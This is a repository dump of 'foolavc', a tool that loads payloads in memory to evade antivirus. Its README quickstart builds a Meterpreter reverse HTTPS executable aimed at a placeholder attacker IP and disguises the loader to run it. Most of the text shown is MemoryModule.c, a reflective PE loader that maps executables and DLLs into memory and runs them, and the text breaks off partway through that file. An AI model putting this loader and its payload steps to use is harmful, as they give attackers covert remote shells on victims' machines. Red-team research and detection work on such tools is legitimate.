├── .gitignore ├── LICENSE ├── README.md ├── Release ├── example-payloads-x86.zip ├── foolavc.exe ├── foolavc.iobj └── foolavc.ipdb ├── foolavc.sln ├── foolavc ├── MemoryModule.c ├── MemoryModule.h ├── foolavc.c ├── foolavc.vcxproj ├── foolavc.vcxproj.filters ├── foolavc.vcxproj.user └── payload.h ├── m-encode.py ├── x-encode.py └── x64 └── Release ├── example-payloads-x86_64.zip ├── foolavc.exe ├── foolavc.iobj └── foolavc.ipdb /.gitignore: -------------------------------------------------------------------------------- 1 | /foolavc/Release 2 | /foolavc/x64 3 | /.vs 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 hvqzao 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # foolavc 2 | 3 | This project is [foolav](https://github.com/hvqzao/foolav) continuation. 4 | 5 | Original [foolav](https://github.com/hvqzao/foolav) was offered only as x86 executable, used single encoding for externally kept payload file. Once foolav is executed, payload is loaded into memory and executed as a shellcode in separate thread. 6 | 7 | foolavc on the other hand supports both x86 and x86_64 architectures, allows use of both internal (built-in) or external payloads. Those can be interpreted in one of three ways: shellcode, DLL and EXEcutable. 8 | 9 | ## Quickstart 10 | 11 | ```bash 12 | cd foolavc 13 | # create meterpreter executable 14 | msfvenom -p windows/x64/meterpreter_reverse_https LHOST=__ATTACKER_IP__ LPORT=8443 -f exe -o met64.exe 15 | # encode it to met64.me 16 | python m-encode.py met64.exe 17 | # foolavc.exe acts as a loader, must have same name as .me file created earlier 18 | cp x64/Release/foolavc.exe met64.exe 19 | 20 | # create .rc script for metasploit 21 | echo >msf.rc < 28 | #include 29 | #include 30 | #include 31 | #include 32 | #ifdef DEBUG_OUTPUT 33 | #include 34 | #endif 35 | 36 | #if _MSC_VER 37 | // Disable warning about data -> function pointer conversion 38 | #pragma warning(disable:4055) 39 | #endif 40 | 41 | #ifndef IMAGE_SIZEOF_BASE_RELOCATION 42 | // Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!? 43 | #define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) 44 | #endif 45 | 46 | #include "MemoryModule.h" 47 | 48 | typedef BOOL(WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); 49 | typedef int (WINAPI *ExeEntryProc)(void); 50 | 51 | typedef struct { 52 | PIMAGE_NT_HEADERS headers; 53 | unsigned char *codeBase; 54 | HCUSTOMMODULE *modules; 55 | int numModules; 56 | BOOL initialized; 57 | BOOL isDLL; 58 | BOOL isRelocated; 59 | CustomAllocFunc alloc; 60 | CustomFreeFunc free; 61 | CustomLoadLibraryFunc loadLibrary; 62 | CustomGetProcAddressFunc getProcAddress; 63 | CustomFreeLibraryFunc freeLibrary; 64 | void *userdata; 65 | ExeEntryProc exeEntry; 66 | DWORD pageSize; 67 | } MEMORYMODULE, *PMEMORYMODULE; 68 | 69 | typedef struct { 70 | LPVOID address; 71 | LPVOID alignedAddress; 72 | DWORD size; 73 | DWORD characteristics; 74 | BOOL last; 75 | } SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA; 76 | 77 | #define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] 78 | #define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1)) 79 | #define ALIGN_VALUE_UP(value, alignment) (((value) + (alignment) - 1) & ~((alignment) - 1)) 80 | 81 | #ifdef DEBUG_OUTPUT 82 | static void 83 | OutputLastError(const char *msg) 84 | { 85 | LPVOID tmp; 86 | char *tmpmsg; 87 | FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 88 | NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); 89 | tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); 90 | sprintf(tmpmsg, "%s: %s", msg, tmp); 91 | OutputDebugString(tmpmsg); 92 | LocalFree(tmpmsg); 93 | LocalFree(tmp); 94 | } 95 | #endif 96 | 97 | static BOOL 98 | CheckSize(size_t size, size_t expected) { 99 | if (size < expected) { 100 | SetLastError(ERROR_INVALID_DATA); 101 | return FALSE; 102 | } 103 | 104 | return TRUE; 105 | } 106 | 107 | static BOOL 108 | CopySections(const unsigned char *data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) 109 | { 110 | int i, section_size; 111 | unsigned char *codeBase = module->codeBase; 112 | unsigned char *dest; 113 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 114 | for (i = 0; iheaders->FileHeader.NumberOfSections; i++, section++) { 115 | if (section->SizeOfRawData == 0) { 116 | // section doesn't contain data in the dll itself, but may define 117 | // uninitialized data 118 | section_size = old_headers->OptionalHeader.SectionAlignment; 119 | if (section_size > 0) { 120 | dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress, 121 | section_size, 122 | MEM_COMMIT, 123 | PAGE_READWRITE, 124 | module->userdata); 125 | if (dest == NULL) { 126 | return FALSE; 127 | } 128 | 129 | // Always use position from file to support alignments smaller 130 | // than page size. 131 | dest = codeBase + section->VirtualAddress; 132 | section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest; 133 | memset(dest, 0, section_size); 134 | } 135 | 136 | // section is empty 137 | continue; 138 | } 139 | 140 | if (!CheckSize(size, section->PointerToRawData + section->SizeOfRawData)) { 141 | return FALSE; 142 | } 143 | 144 | // commit memory block and copy data from dll 145 | dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress, 146 | section->SizeOfRawData, 147 | MEM_COMMIT, 148 | PAGE_READWRITE, 149 | module->userdata); 150 | if (dest == NULL) { 151 | return FALSE; 152 | } 153 | 154 | // Always use position from file to support alignments smaller 155 | // than page size. 156 | dest = codeBase + section->VirtualAddress; 157 | memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); 158 | section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest; 159 | } 160 | 161 | return TRUE; 162 | } 163 | 164 | // Protection flags for memory pages (Executable, Readable, Writeable) 165 | static int ProtectionFlags[2][2][2] = { 166 | { 167 | // not executable 168 | { PAGE_NOACCESS, PAGE_WRITECOPY }, 169 | { PAGE_READONLY, PAGE_READWRITE }, 170 | },{ 171 | // executable 172 | { PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY }, 173 | { PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE }, 174 | }, 175 | }; 176 | 177 | static DWORD 178 | GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { 179 | DWORD size = section->SizeOfRawData; 180 | if (size == 0) { 181 | if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { 182 | size = module->headers->OptionalHeader.SizeOfInitializedData; 183 | } 184 | else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { 185 | size = module->headers->OptionalHeader.SizeOfUninitializedData; 186 | } 187 | } 188 | return size; 189 | } 190 | 191 | static BOOL 192 | FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) { 193 | DWORD protect, oldProtect; 194 | BOOL executable; 195 | BOOL readable; 196 | BOOL writeable; 197 | 198 | if (sectionData->size == 0) { 199 | return TRUE; 200 | } 201 | 202 | if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) { 203 | // section is not needed any more and can safely be freed 204 | if (sectionData->address == sectionData->alignedAddress && 205 | (sectionData->last || 206 | module->headers->OptionalHeader.SectionAlignment == module->pageSize || 207 | (sectionData->size % module->pageSize) == 0) 208 | ) { 209 | // Only allowed to decommit whole pages 210 | module->free(sectionData->address, sectionData->size, MEM_DECOMMIT, module->userdata); 211 | } 212 | return TRUE; 213 | } 214 | 215 | // determine protection flags based on characteristics 216 | executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 217 | readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0; 218 | writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0; 219 | protect = ProtectionFlags[executable][readable][writeable]; 220 | if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) { 221 | protect |= PAGE_NOCACHE; 222 | } 223 | 224 | // change memory access flags 225 | if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) { 226 | #ifdef DEBUG_OUTPUT 227 | OutputLastError("Error protecting memory page") 228 | #endif 229 | return FALSE; 230 | } 231 | 232 | return TRUE; 233 | } 234 | 235 | static BOOL 236 | FinalizeSections(PMEMORYMODULE module) 237 | { 238 | int i; 239 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 240 | #ifdef _WIN64 241 | uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000); 242 | #else 243 | #define imageOffset 0 244 | #endif 245 | SECTIONFINALIZEDATA sectionData; 246 | sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); 247 | sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize); 248 | sectionData.size = GetRealSectionSize(module, section); 249 | sectionData.characteristics = section->Characteristics; 250 | sectionData.last = FALSE; 251 | section++; 252 | 253 | // loop through all sections and change access flags 254 | for (i = 1; iheaders->FileHeader.NumberOfSections; i++, section++) { 255 | LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); 256 | LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize); 257 | DWORD sectionSize = GetRealSectionSize(module, section); 258 | // Combine access flags of all sections that share a page 259 | // TODO(fancycode): We currently share flags of a trailing large section 260 | // with the page of a first small section. This should be optimized. 261 | if (sectionData.alignedAddress == alignedAddress || (uintptr_t)sectionData.address + sectionData.size >(uintptr_t) alignedAddress) { 262 | // Section shares page with previous 263 | if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { 264 | sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE; 265 | } 266 | else { 267 | sectionData.characteristics |= section->Characteristics; 268 | } 269 | sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t)sectionData.address; 270 | continue; 271 | } 272 | 273 | if (!FinalizeSection(module, §ionData)) { 274 | return FALSE; 275 | } 276 | sectionData.address = sectionAddress; 277 | sectionData.alignedAddress = alignedAddress; 278 | sectionData.size = sectionSize; 279 | sectionData.characteristics = section->Characteristics; 280 | } 281 | sectionData.last = TRUE; 282 | if (!FinalizeSection(module, §ionData)) { 283 | return FALSE; 284 | } 285 | #ifndef _WIN64 286 | #undef imageOffset 287 | #endif 288 | return TRUE; 289 | } 290 | 291 | static BOOL 292 | ExecuteTLS(PMEMORYMODULE module) 293 | { 294 | unsigned char *codeBase = module->codeBase; 295 | PIMAGE_TLS_DIRECTORY tls; 296 | PIMAGE_TLS_CALLBACK* callback; 297 | 298 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS); 299 | if (directory->VirtualAddress == 0) { 300 | return TRUE; 301 | } 302 | 303 | tls = (PIMAGE_TLS_DIRECTORY)(codeBase + directory->VirtualAddress); 304 | callback = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks; 305 | if (callback) { 306 | while (*callback) { 307 | (*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL); 308 | callback++; 309 | } 310 | } 311 | return TRUE; 312 | } 313 | 314 | static BOOL 315 | PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta) 316 | { 317 | unsigned char *codeBase = module->codeBase; 318 | PIMAGE_BASE_RELOCATION relocation; 319 | 320 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); 321 | if (directory->Size == 0) { 322 | return (delta == 0); 323 | } 324 | 325 | relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress); 326 | for (; relocation->VirtualAddress > 0; ) { 327 | DWORD i; 328 | unsigned char *dest = codeBase + relocation->VirtualAddress; 329 | unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION); 330 | for (i = 0; i<((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { 331 | DWORD *patchAddrHL; 332 | #ifdef _WIN64 333 | ULONGLONG *patchAddr64; 334 | #endif 335 | int type, offset; 336 | 337 | // the upper 4 bits define the type of relocation 338 | type = *relInfo >> 12; 339 | // the lower 12 bits define the offset 340 | offset = *relInfo & 0xfff; 341 | 342 | switch (type) 343 | { 344 | case IMAGE_REL_BASED_ABSOLUTE: 345 | // skip relocation 346 | break; 347 | 348 | case IMAGE_REL_BASED_HIGHLOW: 349 | // change complete 32 bit address 350 | patchAddrHL = (DWORD *)(dest + offset); 351 | *patchAddrHL += (DWORD)delta; 352 | break; 353 | 354 | #ifdef _WIN64 355 | case IMAGE_REL_BASED_DIR64: 356 | patchAddr64 = (ULONGLONG *)(dest + offset); 357 | *patchAddr64 += (ULONGLONG)delta; 358 | break; 359 | #endif 360 | 361 | default: 362 | //printf("Unknown relocation: %d\n", type); 363 | break; 364 | } 365 | } 366 | 367 | // advance to next relocation block 368 | relocation = (PIMAGE_BASE_RELOCATION)(((char *)relocation) + relocation->SizeOfBlock); 369 | } 370 | return TRUE; 371 | } 372 | 373 | static BOOL 374 | BuildImportTable(PMEMORYMODULE module) 375 | { 376 | unsigned char *codeBase = module->codeBase; 377 | PIMAGE_IMPORT_DESCRIPTOR importDesc; 378 | BOOL result = TRUE; 379 | 380 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); 381 | if (directory->Size == 0) { 382 | return TRUE; 383 | } 384 | 385 | importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress); 386 | for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) { 387 | uintptr_t *thunkRef; 388 | FARPROC *funcRef; 389 | HCUSTOMMODULE *tmp; 390 | HCUSTOMMODULE handle = module->loadLibrary((LPCSTR)(codeBase + importDesc->Name), module->userdata); 391 | if (handle == NULL) { 392 | SetLastError(ERROR_MOD_NOT_FOUND); 393 | result = FALSE; 394 | break; 395 | } 396 | 397 | tmp = (HCUSTOMMODULE *)realloc(module->modules, (module->numModules + 1)*(sizeof(HCUSTOMMODULE))); 398 | if (tmp == NULL) { 399 | module->freeLibrary(handle, module->userdata); 400 | SetLastError(ERROR_OUTOFMEMORY); 401 | result = FALSE; 402 | break; 403 | } 404 | module->modules = tmp; 405 | 406 | module->modules[module->numModules++] = handle; 407 | if (importDesc->OriginalFirstThunk) { 408 | thunkRef = (uintptr_t *)(codeBase + importDesc->OriginalFirstThunk); 409 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk); 410 | } 411 | else { 412 | // no hint table 413 | thunkRef = (uintptr_t *)(codeBase + importDesc->FirstThunk); 414 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk); 415 | } 416 | for (; *thunkRef; thunkRef++, funcRef++) { 417 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { 418 | *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata); 419 | } 420 | else { 421 | PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + (*thunkRef)); 422 | *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata); 423 | } 424 | if (*funcRef == 0) { 425 | result = FALSE; 426 | break; 427 | } 428 | } 429 | 430 | if (!result) { 431 | module->freeLibrary(handle, module->userdata); 432 | SetLastError(ERROR_PROC_NOT_FOUND); 433 | break; 434 | } 435 | } 436 | 437 | return result; 438 | } 439 | 440 | LPVOID MemoryDefaultAlloc(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect, void* userdata) 441 | { 442 | UNREFERENCED_PARAMETER(userdata); 443 | return VirtualAlloc(address, size, allocationType, protect); 444 | } 445 | 446 | BOOL MemoryDefaultFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType, void* userdata) 447 | { 448 | UNREFERENCED_PARAMETER(userdata); 449 | return VirtualFree(lpAddress, dwSize, dwFreeType); 450 | } 451 | 452 | HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void *userdata) 453 | { 454 | HMODULE result; 455 | UNREFERENCED_PARAMETER(userdata); 456 | result = LoadLibraryA(filename); 457 | if (result == NULL) { 458 | return NULL; 459 | } 460 | 461 | return (HCUSTOMMODULE)result; 462 | } 463 | 464 | FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) 465 | { 466 | UNREFERENCED_PARAMETER(userdata); 467 | return (FARPROC)GetProcAddress((HMODULE)module, name); 468 | } 469 | 470 | void MemoryDefaultFreeLibrary(HCUSTOMMODULE module, void *userdata) 471 | { 472 | UNREFERENCED_PARAMETER(userdata); 473 | FreeLibrary((HMODULE)module); 474 | } 475 | 476 | HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size) 477 | { 478 | return MemoryLoadLibraryEx(data, size, MemoryDefaultAlloc, MemoryDefaultFree, MemoryDefaultLoadLibrary, MemoryDefaultGetProcAddress, MemoryDefaultFreeLibrary, NULL); 479 | } 480 | 481 | HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, 482 | CustomAllocFunc allocMemory, 483 | CustomFreeFunc freeMemory, 484 | CustomLoadLibraryFunc loadLibrary, 485 | CustomGetProcAddressFunc getProcAddress, 486 | CustomFreeLibraryFunc freeLibrary, 487 | void *userdata) 488 | { 489 | PMEMORYMODULE result = NULL; 490 | PIMAGE_DOS_HEADER dos_header; 491 | PIMAGE_NT_HEADERS old_header; 492 | unsigned char *code, *headers; 493 | ptrdiff_t locationDelta; 494 | SYSTEM_INFO sysInfo; 495 | PIMAGE_SECTION_HEADER section; 496 | DWORD i; 497 | size_t optionalSectionSize; 498 | size_t lastSectionEnd = 0; 499 | size_t alignedImageSize; 500 | 501 | if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) { 502 | return NULL; 503 | } 504 | dos_header = (PIMAGE_DOS_HEADER)data; 505 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { 506 | SetLastError(ERROR_BAD_EXE_FORMAT); 507 | return NULL; 508 | } 509 | 510 | if (!CheckSize(size, dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS))) { 511 | return NULL; 512 | } 513 | old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew]; 514 | if (old_header->Signature != IMAGE_NT_SIGNATURE) { 515 | SetLastError(ERROR_BAD_EXE_FORMAT); 516 | return NULL; 517 | } 518 | 519 | #ifdef _WIN64 520 | if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { 521 | #else 522 | if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) { 523 | #endif 524 | SetLastError(ERROR_BAD_EXE_FORMAT); 525 | return NULL; 526 | } 527 | 528 | if (old_header->OptionalHeader.SectionAlignment & 1) { 529 | // Only support section alignments that are a multiple of 2 530 | SetLastError(ERROR_BAD_EXE_FORMAT); 531 | return NULL; 532 | } 533 | 534 | section = IMAGE_FIRST_SECTION(old_header); 535 | optionalSectionSize = old_header->OptionalHeader.SectionAlignment; 536 | for (i = 0; iFileHeader.NumberOfSections; i++, section++) { 537 | size_t endOfSection; 538 | if (section->SizeOfRawData == 0) { 539 | // Section without data in the DLL 540 | endOfSection = section->VirtualAddress + optionalSectionSize; 541 | } 542 | else { 543 | endOfSection = section->VirtualAddress + section->SizeOfRawData; 544 | } 545 | 546 | if (endOfSection > lastSectionEnd) { 547 | lastSectionEnd = endOfSection; 548 | } 549 | } 550 | 551 | GetNativeSystemInfo(&sysInfo); 552 | alignedImageSize = ALIGN_VALUE_UP(old_header->OptionalHeader.SizeOfImage, sysInfo.dwPageSize); 553 | if (alignedImageSize != ALIGN_VALUE_UP(lastSectionEnd, sysInfo.dwPageSize)) { 554 | SetLastError(ERROR_BAD_EXE_FORMAT); 555 | return NULL; 556 | } 557 | 558 | // reserve memory for image of library 559 | // XXX: is it correct to commit the complete memory region at once? 560 | // calling DllEntry raises an exception if we don't... 561 | code = (unsigned char *)allocMemory((LPVOID)(old_header->OptionalHeader.ImageBase), 562 | alignedImageSize, 563 | MEM_RESERVE | MEM_COMMIT, 564 | PAGE_READWRITE, 565 | userdata); 566 | 567 | if (code == NULL) { 568 | // try to allocate memory at arbitrary position 569 | code = (unsigned char *)allocMemory(NULL, 570 | alignedImageSize, 571 | MEM_RESERVE | MEM_COMMIT, 572 | PAGE_READWRITE, 573 | userdata); 574 | if (code == NULL) { 575 | SetLastError(ERROR_OUTOFMEMORY); 576 | return NULL; 577 | } 578 | } 579 | 580 | result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE)); 581 | if (result == NULL) { 582 | freeMemory(code, 0, MEM_RELEASE, userdata); 583 | SetLastError(ERROR_OUTOFMEMORY); 584 | return NULL; 585 | } 586 | 587 | result->codeBase = code; 588 | result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; 589 | result->alloc = allocMemory; 590 | result->free = freeMemory; 591 | result->loadLibrary = loadLibrary; 592 | result->getProcAddress = getProcAddress; 593 | result->freeLibrary = freeLibrary; 594 | result->userdata = userdata; 595 | result->pageSize = sysInfo.dwPageSize; 596 | 597 | if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders)) { 598 | goto error; 599 | } 600 | 601 | // commit memory for headers 602 | headers = (unsigned char *)allocMemory(code, 603 | old_header->OptionalHeader.SizeOfHeaders, 604 | MEM_COMMIT, 605 | PAGE_READWRITE, 606 | userdata); 607 | 608 | // copy PE header to code 609 | memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); 610 | result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew]; 611 | 612 | // update position 613 | result->headers->OptionalHeader.ImageBase = (uintptr_t)code; 614 | 615 | // copy sections from DLL file block to new memory location 616 | if (!CopySections((const unsigned char *)data, size, old_header, result)) { 617 | goto error; 618 | } 619 | 620 | // adjust base address of imported data 621 | locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase - old_header->OptionalHeader.ImageBase); 622 | if (locationDelta != 0) { 623 | result->isRelocated = PerformBaseRelocation(result, locationDelta); 624 | } 625 | else { 626 | result->isRelocated = TRUE; 627 | } 628 | 629 | // load required dlls and adjust function table of imports 630 | if (!BuildImportTable(result)) { 631 | goto error; 632 | } 633 | 634 | // mark memory pages depending on section headers and release 635 | // sections that are marked as "discardable" 636 | if (!FinalizeSections(result)) { 637 | goto error; 638 | } 639 | 640 | // TLS callbacks are executed BEFORE the main loading 641 | if (!ExecuteTLS(result)) { 642 | goto error; 643 | } 644 | 645 | // get entry point of loaded library 646 | if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { 647 | if (result->isDLL) { 648 | DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(code + result->headers->OptionalHeader.AddressOfEntryPoint); 649 | // notify library about attaching to process 650 | BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); 651 | if (!successfull) { 652 | SetLastError(ERROR_DLL_INIT_FAILED); 653 | goto error; 654 | } 655 | result->initialized = TRUE; 656 | } 657 | else { 658 | result->exeEntry = (ExeEntryProc)(LPVOID)(code + result->headers->OptionalHeader.AddressOfEntryPoint); 659 | } 660 | } 661 | else { 662 | result->exeEntry = NULL; 663 | } 664 | 665 | return (HMEMORYMODULE)result; 666 | 667 | error: 668 | // cleanup 669 | MemoryFreeLibrary(result); 670 | return NULL; 671 | } 672 | 673 | FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name) 674 | { 675 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 676 | DWORD idx = 0; 677 | PIMAGE_EXPORT_DIRECTORY exports; 678 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); 679 | if (directory->Size == 0) { 680 | // no export table found 681 | SetLastError(ERROR_PROC_NOT_FOUND); 682 | return NULL; 683 | } 684 | 685 | exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress); 686 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { 687 | // DLL doesn't export anything 688 | SetLastError(ERROR_PROC_NOT_FOUND); 689 | return NULL; 690 | } 691 | 692 | if (HIWORD(name) == 0) { 693 | // load function by ordinal value 694 | if (LOWORD(name) < exports->Base) { 695 | SetLastError(ERROR_PROC_NOT_FOUND); 696 | return NULL; 697 | } 698 | 699 | idx = LOWORD(name) - exports->Base; 700 | } 701 | else { 702 | // search function name in list of exported names 703 | DWORD i; 704 | DWORD *nameRef = (DWORD *)(codeBase + exports->AddressOfNames); 705 | WORD *ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals); 706 | BOOL found = FALSE; 707 | for (i = 0; iNumberOfNames; i++, nameRef++, ordinal++) { 708 | if (_stricmp(name, (const char *)(codeBase + (*nameRef))) == 0) { 709 | idx = *ordinal; 710 | found = TRUE; 711 | break; 712 | } 713 | } 714 | 715 | if (!found) { 716 | // exported symbol not found 717 | SetLastError(ERROR_PROC_NOT_FOUND); 718 | return NULL; 719 | } 720 | } 721 | 722 | if (idx > exports->NumberOfFunctions) { 723 | // name <-> ordinal number don't match 724 | SetLastError(ERROR_PROC_NOT_FOUND); 725 | return NULL; 726 | } 727 | 728 | // AddressOfFunctions contains the RVAs to the "real" functions 729 | return (FARPROC)(LPVOID)(codeBase + (*(DWORD *)(codeBase + exports->AddressOfFunctions + (idx * 4)))); 730 | } 731 | 732 | void MemoryFreeLibrary(HMEMORYMODULE mod) 733 | { 734 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 735 | 736 | if (module == NULL) { 737 | return; 738 | } 739 | if (module->initialized) { 740 | // notify library about detaching from process 741 | DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); 742 | (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); 743 | } 744 | 745 | if (module->modules != NULL) { 746 | // free previously opened libraries 747 | int i; 748 | for (i = 0; inumModules; i++) { 749 | if (module->modules[i] != NULL) { 750 | module->freeLibrary(module->modules[i], module->userdata); 751 | } 752 | } 753 | 754 | free(module->modules); 755 | } 756 | 757 | if (module->codeBase != NULL) { 758 | // release memory of library 759 | module->free(module->codeBase, 0, MEM_RELEASE, module->userdata); 760 | } 761 | 762 | HeapFree(GetProcessHeap(), 0, module); 763 | } 764 | 765 | int MemoryCallEntryPoint(HMEMORYMODULE mod) 766 | { 767 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 768 | 769 | if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) { 770 | return -1; 771 | } 772 | 773 | return module->exeEntry(); 774 | } 775 | 776 | #define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) 777 | 778 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type) 779 | { 780 | return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE); 781 | } 782 | 783 | static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( 784 | void *root, 785 | PIMAGE_RESOURCE_DIRECTORY resources, 786 | LPCTSTR key) 787 | { 788 | PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resources + 1); 789 | PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL; 790 | DWORD start; 791 | DWORD end; 792 | DWORD middle; 793 | 794 | if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) { 795 | // special case: resource id 